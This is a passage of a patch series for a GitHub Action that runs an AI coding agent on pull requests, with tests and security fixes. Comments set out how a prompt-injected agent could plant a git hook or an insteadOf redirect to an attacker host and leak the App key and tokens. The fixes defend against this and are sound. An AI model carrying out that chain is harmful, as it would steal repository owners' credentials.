renderProposalBody({ summary: "## Test Companion — Succeeded\n\nit went fine", plan: "" }) + assert.doesNotMatch(out, /nothing here to approve/) + assert.match(out, /above/i) + }) + + test("a real plan still wins", () => { + const out = renderProposalBody({ summary: "sum", plan: "1. write a test for the thing" }) + assert.match(out, /write a test for the thing/) + assert.doesNotMatch(out, /nothing here to approve/) + }) + + test("a run that produced neither still says so", () => { + const out = renderProposalBody({ summary: "", plan: "" }) + assert.match(out, /nothing here to approve/) + }) +}) diff --git a/test-companion/test/runs.test.mjs b/test-companion/test/runs.test.mjs new file mode 100644 index 0000000..a929800 --- /dev/null +++ b/test-companion/test/runs.test.mjs @@ -0,0 +1,179 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { chooseRunsToCancel, runIdsFromChecks, latestFailedRun } from "../src/runs.mjs" + +const inProgress = (id, over = {}) => ({ + id, + status: "in_progress", + head_sha: "abc123", + name: "Test Companion", + ...over, +}) + +describe("chooseRunsToCancel — FR-35", () => { + test("cancels a run in flight on the same commit", () => { + assert.deepEqual(chooseRunsToCancel([inProgress(1)], { selfRunId: "99", headSha: "abc123" }), [1]) + }) + + test("a queued run counts as in flight", () => { + assert.deepEqual(chooseRunsToCancel([inProgress(1, { status: "queued" })], { selfRunId: "99", headSha: "abc123" }), [1]) + }) + + /** + * The one that would hurt. The run handling the "stop" comment is itself an + * in-flight run on that commit, so a naive filter cancels the very job doing + * the cancelling — and the person is told nothing, because the process that + * owed them a reply is gone. + */ + test("never cancels itself", () => { + assert.deepEqual(chooseRunsToCancel([inProgress(99)], { selfRunId: "99", headSha: "abc123" }), []) + }) + + test("the id is matched as a value, not a type", () => { + // GITHUB_RUN_ID arrives as a string; the API returns a number. + assert.deepEqual(chooseRunsToCancel([inProgress(99)], { selfRunId: 99, headSha: "abc123" }), []) + }) + + test("leaves finished runs alone", () => { + const done = inProgress(1, { status: "completed", conclusion: "success" }) + assert.deepEqual(chooseRunsToCancel([done], { selfRunId: "99", headSha: "abc123" }), []) + }) + + test("leaves runs on another commit alone", () => { + assert.deepEqual(chooseRunsToCancel([inProgress(1, { head_sha: "deadbee" })], { selfRunId: "99", headSha: "abc123" }), []) + }) + + /** + * "Stop" means stop Test Companion, not stop the repository's own build. A + * comment must never be a way to cancel someone else's CI. + */ + test("leaves other workflows alone when we know our own name", () => { + const theirs = inProgress(1, { name: "Build and deploy" }) + assert.deepEqual(chooseRunsToCancel([theirs], { selfRunId: "99", headSha: "abc123", workflowName: "Test Companion" }), []) + }) + + test("cancels several of ours at once", () => { + const runs = [inProgress(1), inProgress(2), inProgress(99)] + assert.deepEqual(chooseRunsToCancel(runs, { selfRunId: "99", headSha: "abc123" }), [1, 2]) + }) + + test("nothing to cancel is an empty list, not a throw", () => { + assert.deepEqual(chooseRunsToCancel(undefined, {}), []) + assert.deepEqual(chooseRunsToCancel([], {}), []) + }) +}) + +describe("runIdsFromChecks — finding OUR in-flight runs on a commit (FR-35)", () => { + /** + * The defect this replaces. cancelRunsOn asked GitHub for + * `actions/runs?head_sha=`, but a run started by + * an ISSUE_COMMENT carries the DEFAULT BRANCH's sha — that is what GitHub + * checks out for that event. The query matched nothing, so `stop` replied + * "nothing is running" with a run plainly in flight, and closing a pull + * request did not stop its run either. Both verified live on 2026-10-29. + * + * A run's own `pull_requests` field is NOT the answer: for an + * issue_comment run it reports the pull request whose HEAD is the + * checked-out branch, which is a different pull request entirely. Observed: + * a run for PR #22 reporting number 18. + * + * So the handle is our own check run. It is posted on the pull request's + * head commit, it carries the run id in external_id, and nobody else + * writes it. + */ + const check = (id, status, name = "Test Companion") => ({ name, status, external_id: String(id) }) + + test("returns the run ids of our in-flight checks", () => { + const ids = runIdsFromChecks([check(111, "in_progress"), check(222, "queued")], { selfRunId: "999" }) + assert.deepEqual(ids.sort(), ["111", "222"]) + }) + + test("never cancels the run doing the cancelling", () => { + assert.deepEqual(runIdsFromChecks([check(111, "in_progress")], { selfRunId: "111" }), []) + assert.deepEqual(runIdsFromChecks([check(111, "in_progress")], { selfRunId: 111 }), []) + }) + + test("a finished check is not something to stop", () => { + assert.deepEqual(runIdsFromChecks([check(111, "completed")], { selfRunId: "999" }), []) + }) + + /** "Stop" means stop Test Companion, never the repository's own build. */ + test("somebody else's check is left alone", () => { + assert.deepEqual(runIdsFromChecks([check(111, "in_progress", "CI / build")], { selfRunId: "999" }), []) + }) + + test("a check with no run id on it is skipped rather than guessed at", () => { + assert.deepEqual(runIdsFromChecks([{ name: "Test Companion", status: "in_progress" }], { selfRunId: "9" }), []) + }) + + test("duplicates collapse, so one run is not cancelled twice", () => { + const ids = runIdsFromChecks([check(111, "in_progress"), check(111, "queued")], { selfRunId: "999" }) + assert.deepEqual(ids, ["111"]) + }) + + test("nothing in, nothing out", () => { + assert.deepEqual(runIdsFromChecks([], {}), []) + assert.deepEqual(runIdsFromChecks(undefined, {}), []) + }) +}) + +describe("latestFailedRun — which build 'explain the failure' means", () => { + /** + * `rca`, `fix` and `verdict` need to know WHICH build failed. On a + * build_failed trigger GitHub hands us the run and the Action passes + * `run.html_url` straight through. From a pull request COMMENT nobody + * hands us one, so those three failed on the first comment with "Could + * not run" — while CAPABILITIES advertises all three by name. + * + * Nothing about that needed deciding: the same answer is a lookup. The + * newest failed workflow run on the pull request's head commit is the + * build a person means when they say "explain the failure". + */ + const run = (id, conclusion, name = "CI", status = "completed") => ({ + id, + name, + status, + conclusion, + html_url: `https://github.com/acme/shop/actions/runs/${id}`, + }) + + test("picks the newest failed run", () => { + const got = latestFailedRun([run(1, "failure"), run(9, "failure"), run(5, "success")], {}) + assert.equal(got, "https://github.com/acme/shop/actions/runs/9") + }) + + test("a green pull request has nothing to explain", () => { + assert.equal(latestFailedRun([run(1, "success"), run(2, "success")], {}), undefined) + assert.equal(latestFailedRun([], {}), undefined) + assert.equal(latestFailedRun(undefined, {}), undefined) + }) + + /** Explaining our OWN failure is a mirror, not an answer. */ + test("never picks a Test Companion run", () => { + const got = latestFailedRun([run(9, "failure", "Test Companion"), run(3, "failure", "CI")], { + selfWorkflowName: "Test Companion", + }) + assert.equal(got, "https://github.com/acme/shop/actions/runs/3") + }) + + test("never picks the run doing the asking", () => { + const got = latestFailedRun([run(9, "failure"), run(3, "failure")], { selfRunId: "9" }) + assert.equal(got, "https://github.com/acme/shop/actions/runs/3") + }) + + /** A run still going has not failed yet. */ + test("ignores runs that have not finished", () => { + const got = latestFailedRun([run(9, null, "CI", "in_progress"), run(3, "failure")], {}) + assert.equal(got, "https://github.com/acme/shop/actions/runs/3") + }) + + test("cancelled and timed out count as failed — they are red to a reader", () => { + assert.ok(latestFailedRun([run(4, "cancelled")], {})) + assert.ok(latestFailedRun([run(4, "timed_out")], {})) + }) + + test("a run with no url is skipped rather than guessed at", () => { + const bare = { id: 9, status: "completed", conclusion: "failure" } + assert.equal(latestFailedRun([bare, run(3, "failure")], {}), "https://github.com/acme/shop/actions/runs/3") + }) +}) diff --git a/test-companion/test/starter.test.mjs b/test-companion/test/starter.test.mjs new file mode 100644 index 0000000..b020b6e --- /dev/null +++ b/test-companion/test/starter.test.mjs @@ -0,0 +1,225 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { readFileSync } from "node:fs" +import { + pipelineConfigPath, + renderNoPipelineReport, + STARTER_PIPELINE, + settingsRef, + renderSetupPr, + starterPipelineFor, +} from "../src/starter.mjs" +import { TC_EVENTS } from "../src/plan-run.mjs" + +describe("pipelineConfigPath — the same file the CLI would read", () => { + // Checking a different path than the CLI would is worse than not checking: + // the Action would report "no settings file" for a repo that has one. + test("defaults to the repository root file", () => { + assert.equal(pipelineConfigPath("", {}), "testcompanion-pipeline.yml") + }) + + test("an explicit config input wins", () => { + assert.equal(pipelineConfigPath("ci/tc.yml", { TC_PIPELINE_CONFIG: "env.yml" }), "ci/tc.yml") + }) + + test("then the environment variable, matching effectiveConfigPath in the CLI", () => { + assert.equal(pipelineConfigPath("", { TC_PIPELINE_CONFIG: "env.yml" }), "env.yml") + }) + + test("whitespace around the input is not a path", () => { + assert.equal(pipelineConfigPath(" ", {}), "testcompanion-pipeline.yml") + }) +}) + +describe("no pipeline file — FR-13", () => { + // Installing the Action and getting a red build with "open + // testcompanion-pipeline.yml: no such file or directory" is the worst + // possible first run. FR-13: a clean pass, and the file they need. + test("the report says plainly that nothing is configured yet", () => { + const out = renderNoPipelineReport("testcompanion-pipeline.yml") + assert.match(out, /testcompanion-pipeline\.yml/) + // Only the prose. The starter itself legitimately mentions failed + // builds, since explaining one is a job you can bind. + const prose = out.split("```")[0] + assert.ok(!/error|failed|cannot|could not/i.test(prose), prose) + }) + + test("and hands over a starter they can copy", () => { + const out = renderNoPipelineReport("testcompanion-pipeline.yml") + assert.match(out, /```ya?ml/) + assert.match(out, /workflows:/) + }) + + test("the starter binds at least one job, or copying it changes nothing", () => { + assert.match(STARTER_PIPELINE, /workflow:\s*\S/) + }) + + // Every `on:` in the starter must be a name the CLI's matcher knows, or the + // file we hand people silently never fires. + test("every event the starter binds is a real pipeline event", () => { + const known = new Set(Object.values(TC_EVENTS)) + const bound = [...STARTER_PIPELINE.matchAll(/^\s*on:\s*(\S+)/gm)].map((m) => m[1]) + assert.ok(bound.length > 0, "the starter binds nothing") + for (const e of bound) assert.ok(known.has(e), `${e} is not a pipeline event`) + }) + + // It is handed to someone who has not run Test Companion before. Starting + // them on a mode that writes to their repository is the wrong default. + test("the starter starts in preview, so a first run writes nothing", () => { + assert.match(STARTER_PIPELINE, /mode:\s*preview/) + }) +}) + +describe("which branch the settings file is read from — FR-7", () => { + /** + * The safety fix. Read from the branch under test, a pull request can edit + * its own rules and be obeyed: switch itself from preview to live, delete its + * own spending limit, or name its own Test Management destination. FR-7: + * read from the default branch, so an edit takes effect only once it merges. + */ + test("the repository's default branch, not the branch under test", () => { + assert.equal(settingsRef({ repository: { default_branch: "trunk" } }, {}), "trunk") + }) + + test("falls back to the checkout's own default when the payload carries none", () => { + assert.equal(settingsRef({}, { GITHUB_DEFAULT_BRANCH: "develop" }), "develop") + }) + + // Guessing "main" is better than guessing the pull request's branch: the + // worst case is "no settings file", which is a clean skip, not a run that + // obeys rules the pull request wrote for itself. + test("and main when there is nothing to go on", () => { + assert.equal(settingsRef({}, {}), "main") + }) + + test("a head branch in the payload is never used", () => { + const payload = { repository: { default_branch: "main" }, pull_request: { head: { ref: "attacker" } } } + assert.equal(settingsRef(payload, {}), "main") + }) +}) + +describe("the starter file matches the install defaults — FR-13", () => { + /** + * FR-13: "'Test this PR' started by comment, review-before-run, live; every + * other binding in preview." + * + * Live AND gated is the safe pairing, not a contradiction: a gated request + * runs in preview to produce its proposal, and only an approved run writes. + * Before the gate existed this binding had to be preview, which meant a + * repository that copied the starter could never actually write anything. + */ + // The whole point of Release 3. `test` runs the project's EXISTING suite + // and never reads the diff, so a repository copying the starter got "run + // everything" when it asked Test Companion to test a pull request. + test("the comment binding runs test-pr, not test", () => { + const onRequest = STARTER_PIPELINE.split("- name:").find((b) => b.includes("on: pr_comment")) + assert.match(onRequest, /workflow:\s*test-pr/) + }) + + test("the comment binding is live and gated", () => { + const onRequest = STARTER_PIPELINE.split("- name:").find((b) => b.includes("on: pr_comment")) + assert.ok(onRequest, "the starter must bind something to pr_comment") + assert.match(onRequest, /mode:\s*live/) + assert.match(onRequest, /approval:\s*review-before-run/) + }) + + test("every other binding stays in preview", () => { + const others = STARTER_PIPELINE.split("- name:") + .slice(1) + .filter((b) => !b.includes("on: pr_comment")) + assert.ok(others.length > 0) + for (const b of others) { + assert.match(b, /mode:\s*preview/) + } + }) + + test("the setup pull request says what it adds and that nothing runs yet", () => { + const pr = renderSetupPr("testcompanion-pipeline.yml") + assert.match(pr.branch, /test-companion/) + assert.ok(pr.title.length > 0) + assert.match(pr.body, /testcompanion-pipeline\.yml/) + }) +}) + +describe("the starter reflects the detected framework — FR-13", () => { + test("a detected framework is recorded in the file", () => { + assert.match(starterPipelineFor("Playwright"), /Playwright/) + }) + + test("the bindings are untouched by the note", () => { + const withFw = starterPipelineFor("Cypress") + assert.match(withFw, /approval:\s*review-before-run/) + assert.match(withFw, /on: pr_comment/) + }) + + test("no detection leaves the file exactly as it was", () => { + assert.equal(starterPipelineFor(undefined), STARTER_PIPELINE) + assert.equal(starterPipelineFor(""), STARTER_PIPELINE) + }) + + test("the pull request says which framework it saw", () => { + assert.match(renderSetupPr("p.yml", "Playwright").body, /Playwright/) + }) + + test("and says nothing about it when it saw none", () => { + assert.ok(!/framework/i.test(renderSetupPr("p.yml").body)) + }) +}) + +describe("the starter workflow points somewhere that exists", () => { + const starter = readFileSync(new URL("../starter-workflow.yml", import.meta.url), "utf8") + + /** + * The starter is the ONE file we can never update: once forty teams have + * merged it, changing it costs forty pull requests. So the path in it has + * to be right the first time. + * + * It said `browserstack/test-companion-action@v1` — a repository that does + * not exist. The action ships from `browserstack/github-actions`, where the + * other BrowserStack actions live, as a sub-directory. + */ + test("uses the published action path", () => { + assert.match(starter, /uses: browserstack\/github-actions\/test-companion@v\d/) + assert.doesNotMatch(starter, /browserstack\/test-companion-action/) + }) + + /** + * Seen live on 2026-10-29: tc 1.1.9 shipped mid-session and every unpinned + * run self-upgraded, losing features the Action depends on. An unpinned + * customer gets a download in the middle of their pipeline on release day. + */ + /** + * The test this replaces checked that a version was pinned and said nothing + * about the checksum — so it PINNED THE BROKEN STATE. install.sh refuses a + * pinned install with no checksum ("refusing an unverified pinned + * install"), the step runs under `set -euo pipefail`, and every repository + * that copied the starter would have died on its first run with no comment + * and no check. Reported in review of PR #3101. + * + * The rule is a PAIR: an ACTIVE `cli-version:` requires an active + * `cli-sha256:`. Commented-out guidance is fine and is how the starter now + * presents it, since a checksum cannot be written for a version that does + * not exist yet. + */ + const activeLines = starter + .split("\n") + .filter((l) => !l.trim().startsWith("#")) + .join("\n") + + test("an active cli-version is never alone — install.sh refuses that pair", () => { + const pinned = /^\s*cli-version:/m.test(activeLines) + const summed = /^\s*cli-sha256:/m.test(activeLines) + assert.equal( + pinned, + summed, + pinned + ? "cli-version is set with no cli-sha256; install.sh refuses an unverified pinned install and the job dies" + : "cli-sha256 is set with no cli-version, which does nothing", + ) + }) + + test("pinning is still explained, even when not switched on", () => { + assert.match(starter, /cli-version/) + assert.match(starter, /cli-sha256/) + }) +}) diff --git a/test-companion/test/ticket.test.mjs b/test-companion/test/ticket.test.mjs new file mode 100644 index 0000000..ec1784b --- /dev/null +++ b/test-companion/test/ticket.test.mjs @@ -0,0 +1,72 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { findTicket } from "../src/ticket.mjs" + +describe("findTicket — FR-37", () => { + test("from the branch, which is where it usually is", () => { + assert.equal(findTicket({ branch: "feat/SHOP-221-add-discount-code" }), "SHOP-221") + }) + + test("from the title", () => { + assert.equal(findTicket({ title: "SHOP-221: discount codes at checkout" }), "SHOP-221") + }) + + test("from the description", () => { + assert.equal(findTicket({ body: "Implements SHOP-221.\n\nSee the spec." }), "SHOP-221") + }) + + test("the title wins, because a person wrote it most recently", () => { + assert.equal(findTicket({ title: "SHOP-9: the real one", branch: "feat/SHOP-221-old" }), "SHOP-9") + }) + + /** + * The trap. A Jira key and a standards reference are the same shape, so a + * naive pattern turns "upgrade to UTF-8" into a run that tests against + * ticket UTF-8 and reports it confidently in the first comment. + */ + test("a standards reference is not a ticket", () => { + for (const text of [ + "switch to UTF-8", + "use SHA-256", + "move to HTTP-2", + "per RFC-3339", + "ISO-8601 dates", + "AES-256 at rest", + ]) { + assert.equal(findTicket({ title: text }), undefined, `"${text}" must not read as a ticket`) + } + }) + + test("a CVE is not a ticket either", () => { + assert.equal(findTicket({ title: "patch CVE-2026-1234" }), undefined) + }) + + test("a single letter is not a project key", () => { + assert.equal(findTicket({ title: "bump to X-1" }), undefined) + }) + + test("lowercase is not a ticket key", () => { + assert.equal(findTicket({ branch: "feat/shop-221-thing" }), undefined) + }) + + test("nothing to find is undefined", () => { + assert.equal(findTicket({ title: "fix the footer", branch: "fix/footer" }), undefined) + assert.equal(findTicket({}), undefined) + assert.equal(findTicket(), undefined) + }) + + test("the first key wins when a title names several", () => { + assert.equal(findTicket({ title: "SHOP-221 and SHOP-222" }), "SHOP-221") + }) + + // The lookbehind makes the match start at the X, so this reads as the + // project XSHOP — which is a perfectly good key — rather than quietly + // slicing SHOP-221 out of the middle of a word. + test("a longer project key is read whole, not sliced", () => { + assert.equal(findTicket({ title: "XSHOP-221" }), "XSHOP-221") + }) + + test("a real key behind a false positive is still found", () => { + assert.equal(findTicket({ title: "UTF-8 fixes for SHOP-221" }), "SHOP-221") + }) +}) From d615c6a235abfcd977011a673d3d685e9dadbbce Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 16:38:42 +0530 Subject: [PATCH 02/18] test-companion: run git with a clean environment and no hooks Picked up from the source repo's security review: these git commands run after the agent, which has --yolo write access to the tree, so a planted .git/hooks/pre-commit would have been executed with the App's private key in its environment. --- test-companion/src/main.mjs | 8 +++- test-companion/src/push-work.mjs | 33 ++++++++++++++++ test-companion/test/push-work.test.mjs | 54 ++++++++++++++++++++++++++ 3 files changed, 94 insertions(+), 1 deletion(-) diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs index bbb5c93..cd95928 100644 --- a/test-companion/src/main.mjs +++ b/test-companion/src/main.mjs @@ -55,6 +55,8 @@ import { needsCheckout, isSameRepo, pushCredentialArgs, + gitEnvFrom, + GIT_SAFE_ARGS, } from "./push-work.mjs" const env = process.env @@ -263,7 +265,11 @@ function isOnTeam(login, team) { * failure as "we could not save the work", which is reported, not fatal. */ function git(args) { - const r = spawnSync("git", args, { encoding: "utf8" }) + // A near-empty environment, and no hooks. These run AFTER the agent, which + // has had --yolo write access to the tree: a planted .git/hooks/pre-commit + // would otherwise be executed by our own `git commit` with the App's + // private key and the customer's credentials in its environment. + const r = spawnSync("git", [...GIT_SAFE_ARGS, ...args], { encoding: "utf8", env: gitEnvFrom(env) }) // `raw` is deliberate. `git status --porcelain` puts a SPACE in the first // column for an unstaged modification, and trimming the whole output eats // it on the first line — which cost run 40845669513 ten passing tests. diff --git a/test-companion/src/push-work.mjs b/test-companion/src/push-work.mjs index 1ea3dcb..c759c34 100644 --- a/test-companion/src/push-work.mjs +++ b/test-companion/src/push-work.mjs @@ -286,3 +286,36 @@ export function pushCredentialArgs(token) { const basic = Buffer.from(`x-access-token:${t}`, "utf8").toString("base64") return ["-c", `http.extraheader=AUTHORIZATION: basic ${basic}`] } + +/** + * The environment our own git commands run in — deliberately almost empty. + * + * These run AFTER the agent, which has had --yolo write access to the working + * tree. An agent that writes `.git/hooks/pre-commit` gets it executed by our + * `git commit`, with whatever environment we hand it — and that environment + * held TC_ACTION_APP_PRIVATE_KEY, GH_TOKEN and the customer's BrowserStack + * key, because spawnSync with no `env` inherits everything. + * + * On `pull_request_target` the diff under test is attacker-authored, so that + * is a prompt-injection away from a key leaving the runner. + * + * childEnvFor already does this for the AGENT's subprocess. This is the same + * reasoning applied to the commands that run after it. Proxy settings are kept + * because a push has to reach the network; nothing else is. + */ +export function gitEnvFrom(env = {}) { + const out = {} + for (const k of ["PATH", "HOME", "HTTP_PROXY", "HTTPS_PROXY", "NO_PROXY", "http_proxy", "https_proxy", "no_proxy"]) { + if (env[k] !== undefined) out[k] = env[k] + } + return out +} + +/** + * Arguments that stop git running anything the agent may have planted. + * + * `core.hooksPath` to nowhere, because a hook is code in the repository that + * `git commit` would run for us. fsmonitor off for the same reason — it is a + * configurable command git will start on its own. + */ +export const GIT_SAFE_ARGS = Object.freeze(["-c", "core.hooksPath=/dev/null", "-c", "core.fsmonitor=false"]) diff --git a/test-companion/test/push-work.test.mjs b/test-companion/test/push-work.test.mjs index 8564688..be77556 100644 --- a/test-companion/test/push-work.test.mjs +++ b/test-companion/test/push-work.test.mjs @@ -9,6 +9,8 @@ import { needsCheckout, isSameRepo, pushCredentialArgs, + gitEnvFrom, + GIT_SAFE_ARGS, BOT_EMAIL, } from "../src/push-work.mjs" @@ -397,3 +399,55 @@ describe("pushCredentialArgs — the App token has to reach git, not just gh", ( assert.ok(!args.some((a) => a.includes("ghs_secret")), `the raw token appeared in ${JSON.stringify(args)}`) }) }) + +describe("our own git commands must not carry secrets or run hooks", () => { + /** + * These commands run AFTER the agent, which has had --yolo write access to + * the working tree. spawnSync with no `env` inherits everything, so an + * agent that wrote .git/hooks/pre-commit would have it executed by our + * `git commit` with TC_ACTION_APP_PRIVATE_KEY, GH_TOKEN and the customer's + * BrowserStack key in its environment. On pull_request_target the diff is + * attacker-authored, so that is one prompt injection from a key leaving + * the runner. Reported by the security review of this change. + */ + const dirty = { + PATH: "/usr/bin", + HOME: "/home/runner", + HTTPS_PROXY: "http://proxy:8080", + TC_ACTION_APP_PRIVATE_KEY: "-----BEGIN PRIVATE KEY-----", + TC_ACTION_APP_ID: "12345", + GH_TOKEN: "ghs_secret", + BROWSERSTACK_ACCESS_KEY: "bs_secret", + GITHUB_TOKEN: "ghp_secret", + } + + test("no secret survives", () => { + const got = gitEnvFrom(dirty) + for (const k of [ + "TC_ACTION_APP_PRIVATE_KEY", + "TC_ACTION_APP_ID", + "GH_TOKEN", + "BROWSERSTACK_ACCESS_KEY", + "GITHUB_TOKEN", + ]) { + assert.equal(got[k], undefined, `${k} reached git`) + } + assert.ok(!JSON.stringify(got).includes("secret"), `a secret value leaked: ${JSON.stringify(got)}`) + }) + + test("what git actually needs survives", () => { + const got = gitEnvFrom(dirty) + assert.equal(got.PATH, "/usr/bin") + assert.equal(got.HOME, "/home/runner") + assert.equal(got.HTTPS_PROXY, "http://proxy:8080", "a push has to reach the network") + }) + + test("an empty environment is fine", () => { + assert.deepEqual(gitEnvFrom({}), {}) + assert.deepEqual(gitEnvFrom(), {}) + }) + + test("hooks and fsmonitor are disabled, since both run code from the repo", () => { + assert.deepEqual(GIT_SAFE_ARGS, ["-c", "core.hooksPath=/dev/null", "-c", "core.fsmonitor=false"]) + }) +}) From 184603d02cc46800ee4125c60a6a8b74f3b62ad1 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 16:45:41 +0530 Subject: [PATCH 03/18] fix: scope the push credential to one URL the repo cannot rewrite MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The push carried the token as a global http.extraheader and pushed to the remote named `origin`. Both are decided by .git/config, which the agent has had write access to — `url..insteadOf` redirects `origin` to another host and a global header follows it there. The URL is now built from GITHUB_REPOSITORY, the push targets that URL, and the header is scoped to it. Also closed the config keys that make git run a program (core.sshCommand, core.pager, diff.external, gpg.program, commit.gpgsign, core.attributesFile) and disabled system/global config. Co-Authored-By: Claude Opus 5 --- test-companion/src/main.mjs | 11 +++- test-companion/src/push-work.mjs | 52 ++++++++++++++-- test-companion/test/push-work.test.mjs | 86 +++++++++++++++++++++----- 3 files changed, 130 insertions(+), 19 deletions(-) diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs index cd95928..00463f9 100644 --- a/test-companion/src/main.mjs +++ b/test-companion/src/main.mjs @@ -55,6 +55,7 @@ import { needsCheckout, isSameRepo, pushCredentialArgs, + pushUrlFor, gitEnvFrom, GIT_SAFE_ARGS, } from "./push-work.mjs" @@ -965,7 +966,15 @@ function saveWork(saving, plan) { // Authenticate as the App when it is installed. Without this the push // uses whatever actions/checkout left in .git/config, so a team that // deleted the permissions block as we advise got a 403. - const pushed = git([...pushCredentialArgs(env.GH_TOKEN), "push", "origin", `HEAD:refs/heads/${branch}`]) + // + // The URL is built here from GITHUB_REPOSITORY rather than taken from the + // remote named `origin`. The agent has had write access to this tree, and + // `url..insteadOf` in .git/config silently redirects `origin` to any + // host — which would hand the App token to it. The credential header is + // scoped to this exact URL for the same reason. + const target = pushUrlFor(REPO, env.GITHUB_SERVER_URL) + if (!target) return renderPushNote({ branch, files: push, skipped: skip, error: `cannot push: bad repository name "${REPO}"` }) + const pushed = git([...pushCredentialArgs(env.GH_TOKEN, target), "push", target, `HEAD:refs/heads/${branch}`]) if (!pushed.ok) { // The one failure worth spelling out, because it is a settings problem // rather than a bug: the workflow's token is read-only by default. diff --git a/test-companion/src/push-work.mjs b/test-companion/src/push-work.mjs index c759c34..089abc9 100644 --- a/test-companion/src/push-work.mjs +++ b/test-companion/src/push-work.mjs @@ -280,11 +280,31 @@ export function isSameRepo(headRepoFullName, repo) { * No token returns nothing, so the checkout's own credential is used — which * is correct whenever the App is not installed. */ -export function pushCredentialArgs(token) { +export function pushCredentialArgs(token, url) { const t = String(token ?? "").trim() - if (!t) return [] + const u = String(url ?? "").trim() + if (!t || !u) return [] const basic = Buffer.from(`x-access-token:${t}`, "utf8").toString("base64") - return ["-c", `http.extraheader=AUTHORIZATION: basic ${basic}`] + // SCOPED to the one URL. A global `http.extraheader` attaches to whatever + // the push resolves to — and `url..insteadOf` in the repository's own + // config, which the agent can write, silently redirects `origin` to another + // host. Verified: one config line turns github.com into evil.test. A global + // header would have handed the App's installation token straight to it. + return ["-c", `http.${u}.extraheader=AUTHORIZATION: basic ${basic}`] +} + +/** + * Where to push, built from the trusted repository name rather than resolved + * through the repository's own config. + * + * `git push origin` asks .git/config where origin is, and the agent can + * rewrite that. Naming the URL outright means a rewritten remote is simply + * not used. + */ +export function pushUrlFor(repo, server = "https://github.com") { + const r = String(repo ?? "").trim() + if (!/^[^/\s]+\/[^/\s]+$/.test(r)) return undefined + return `${String(server).replace(/\/+$/, "")}/${r}.git` } /** @@ -308,6 +328,10 @@ export function gitEnvFrom(env = {}) { for (const k of ["PATH", "HOME", "HTTP_PROXY", "HTTPS_PROXY", "NO_PROXY", "http_proxy", "https_proxy", "no_proxy"]) { if (env[k] !== undefined) out[k] = env[k] } + // Ignore the system and user config too, so the only configuration in play + // is what this process passes with -c. + out.GIT_CONFIG_NOSYSTEM = "1" + out.GIT_CONFIG_GLOBAL = "/dev/null" return out } @@ -318,4 +342,24 @@ export function gitEnvFrom(env = {}) { * `git commit` would run for us. fsmonitor off for the same reason — it is a * configurable command git will start on its own. */ -export const GIT_SAFE_ARGS = Object.freeze(["-c", "core.hooksPath=/dev/null", "-c", "core.fsmonitor=false"]) +export const GIT_SAFE_ARGS = Object.freeze([ + "-c", + "core.hooksPath=/dev/null", + "-c", + "core.fsmonitor=false", + // Every other key that is a way for the repository to make git run a + // program on our behalf. + "-c", + "core.sshCommand=", + "-c", + "core.pager=cat", + "-c", + "diff.external=", + "-c", + "commit.gpgsign=false", + "-c", + "gpg.program=false", + // .gitattributes can name a filter command; ignore the file entirely. + "-c", + "core.attributesFile=/dev/null", +]) diff --git a/test-companion/test/push-work.test.mjs b/test-companion/test/push-work.test.mjs index be77556..dd1420c 100644 --- a/test-companion/test/push-work.test.mjs +++ b/test-companion/test/push-work.test.mjs @@ -11,6 +11,7 @@ import { pushCredentialArgs, gitEnvFrom, GIT_SAFE_ARGS, + pushUrlFor, BOT_EMAIL, } from "../src/push-work.mjs" @@ -379,25 +380,52 @@ describe("pushCredentialArgs — the App token has to reach git, not just gh", ( * Passed with `-c` rather than written into the remote URL: a token in a * URL ends up in the reflog, in error messages and in `git remote -v`. */ - test("builds a basic auth header from the token", () => { - const args = pushCredentialArgs("ghs_abc123") + const URL = "https://github.com/acme/shop.git" + + test("builds a basic auth header SCOPED to the push url", () => { + const args = pushCredentialArgs("ghs_abc123", URL) assert.equal(args[0], "-c") - assert.match(args[1], /^http\.extraheader=AUTHORIZATION: basic /) + assert.match(args[1], /^http\.https:\/\/github\.com\/acme\/shop\.git\.extraheader=AUTHORIZATION: basic /) const b64 = args[1].split("basic ")[1] assert.equal(Buffer.from(b64, "base64").toString("utf8"), "x-access-token:ghs_abc123") }) - test("no token means no argument — fall back to the checkout's own credential", () => { - assert.deepEqual(pushCredentialArgs(undefined), []) - assert.deepEqual(pushCredentialArgs(""), []) - assert.deepEqual(pushCredentialArgs(" "), []) + /** + * `url..insteadOf` in the repository's own config — which the agent + * can write — redirects a push to another host. Verified: one line turns + * github.com into evil.test. A GLOBAL header follows it there and hands + * over the App's installation token. + */ + test("the header is never global", () => { + const args = pushCredentialArgs("ghs_abc123", URL) + assert.ok( + !args.some((a) => /^http\.extraheader=/.test(a)), + `a global header would follow a rewritten remote: ${JSON.stringify(args)}`, + ) + }) + + test("no token, or no url, means no argument", () => { + assert.deepEqual(pushCredentialArgs(undefined, URL), []) + assert.deepEqual(pushCredentialArgs("", URL), []) + assert.deepEqual(pushCredentialArgs("ghs_abc123", ""), []) + assert.deepEqual(pushCredentialArgs("ghs_abc123", undefined), []) }) - /** The token must never be a bare argument that `ps` or a log would show. */ test("the token itself is never passed in the clear", () => { - const args = pushCredentialArgs("ghs_secret") + const args = pushCredentialArgs("ghs_secret", URL) assert.ok(!args.some((a) => a.includes("ghs_secret")), `the raw token appeared in ${JSON.stringify(args)}`) }) + + test("the push url comes from the repository NAME, not from git config", () => { + assert.equal(pushUrlFor("acme/shop"), "https://github.com/acme/shop.git") + assert.equal(pushUrlFor("acme/shop", "https://ghe.corp/"), "https://ghe.corp/acme/shop.git") + }) + + test("a repository name we cannot read gives no url, so no push", () => { + for (const bad of ["", " ", "acme", "acme/shop/extra", undefined, "acme shop"]) { + assert.equal(pushUrlFor(bad), undefined, `accepted ${JSON.stringify(bad)}`) + } + }) }) describe("our own git commands must not carry secrets or run hooks", () => { @@ -442,12 +470,42 @@ describe("our own git commands must not carry secrets or run hooks", () => { assert.equal(got.HTTPS_PROXY, "http://proxy:8080", "a push has to reach the network") }) - test("an empty environment is fine", () => { - assert.deepEqual(gitEnvFrom({}), {}) - assert.deepEqual(gitEnvFrom(), {}) + test("an empty environment still disables the system and user 